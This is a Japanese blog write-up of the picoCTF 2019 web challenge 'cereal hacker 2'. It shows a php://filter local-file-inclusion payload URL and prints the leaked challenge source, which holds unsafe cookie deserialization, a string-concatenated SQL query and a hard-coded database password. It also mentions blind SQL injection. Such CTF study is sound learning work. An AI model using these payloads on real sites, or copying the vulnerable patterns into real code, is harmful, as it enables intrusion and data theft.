はまやんはまやんはまやん

hamayanhamayan's blog

cereal hacker 2 [picoCTF 2019 Web 500]

https://ctftime.org/task/9491

前提知識

解説

(実は最後まで解けてない)
guest:guestは削除されている。
ディレクトリトラバーサルの出番。

その一部のLFIというタイプ。
Local File Inclusionの略で、requireなどで他のファイルを取ってくる部分にinjectionを仕込み、意図しないファイルを持ってこさせる。
https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=adminで参照してみると、
何かぞろぞろ出てくる。
base64デコードして中身を見てみよう。

<?php

require_once(\'cookie.php\');

if(isset($perm) && $perm->is_admin()){

?>
  
  <body>
    <div class="container">
      <div class="row">
        <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
          <div class="card card-signin my-5">
            <div class="card-body">
              <h5 class="card-title text-center">Welcome to the admin page!</h5>
              <h5 style="color:blue" class="text-center">Flag: Find the admin\'s password!</h5>
            </div>
          </div>
        </div>
      </div>
    </div>
  </body>

<?php
}
else{
?>
  
  <body>
    <div class="container">
      <div class="row">
        <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
          <div class="card card-signin my-5">
            <div class="card-body">
              <h5 class="card-title text-center">You are not admin!</h5>
              <form action="index.php" method="get">
                <button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie=\'user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;\'">Go back to login</button>
              </form>
            </div>
          </div>
        </div>
      </div>
    </div>
  </body>

<?php
}
?>

adminを見ると、パスワードを見ろとのこと。
cookie.phpの存在が確認できるので、こっちを見てみよう。

<?php

require_once(\'../sql_connect.php\');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
  public $username;
  public $password;
  
  function __construct($u, $p){
    $this->username = $u;
    $this->password = $p;
  }

  function is_admin(){
    global $sql_conn;
    if($sql_conn->connect_errno){
          die(\'Could not connect\');
    }
    //$q = \'SELECT admin FROM pico_ch2.users WHERE username = \\\'\'.$this->username.\'\\\' AND (password = \\\'\'.$this->password.\'\\\');\';
    
    if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
            die("SQL error");
    }

    $prepared->bind_param(\'ss\', $this->username, $this->password);
  
    if (!$prepared->execute()) {
            die("SQL error");
    }
    
    if (!($result = $prepared->get_result())) {
            die("SQL error");
    }

    $r = $result->fetch_all();
    if($result->num_rows !== 1){
          $is_admin_val = 0;
    }
    else{
          $is_admin_val = (int)$r[0][0];
    }
    
    $sql_conn->close();
    return $is_admin_val;
  }
}

/* legacy login */
class siteuser
{
  public $username;
  public $password;
  
  function __construct($u, $p){
    $this->username = $u;
    $this->password = $p;
  }

  function is_admin(){
    global $sql_conn;
    if($sql_conn->connect_errno){
          die(\'Could not connect\');
    }
    $q = \'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \\\'\'.$this->username.\'\\\' AND (password = \\\'\'.$this->password.\'\\\');\';
    
    $result = $sql_conn->query($q);
    if($result->num_rows != 1){
          $is_user_val = 0;
    }
    else{
          $is_user_val = 1;
    }
    
    $sql_conn->close();
    return $is_user_val;
  }
}


if(isset($_COOKIE[\'user_info\'])){
  try{
    $perm = unserialize(base64_decode(urldecode($_COOKIE[\'user_info\'])));
  }
  catch(Exception $except){
        die(\'Deserialization error.\');
  }
}

?>

更に../sql_connect.phpがあるので、こっちを見てみる。

<?php

$sql_server = 'localhost';
$sql_user = 'mysql';
$sql_pass = 'this1sAR@nd0mP@s5w0rD#%';
$sql_conn = new mysqli($sql_server, $sql_user, $sql_pass);
$sql_conn_login = new mysqli($sql_server, $sql_user, $sql_pass);

?>

DBパスワードまで見えてるやんけ。これでアクセスすると分かる。
手元からじゃアクセスできなかったけど、この記事ではできてる。
何が違うんだろうか。

この記事とかこの記事では、Welcomeが出るかどうかをオラクルとしたBlind SQL Injectionを行っている。
kusanoさんの言う通りだ…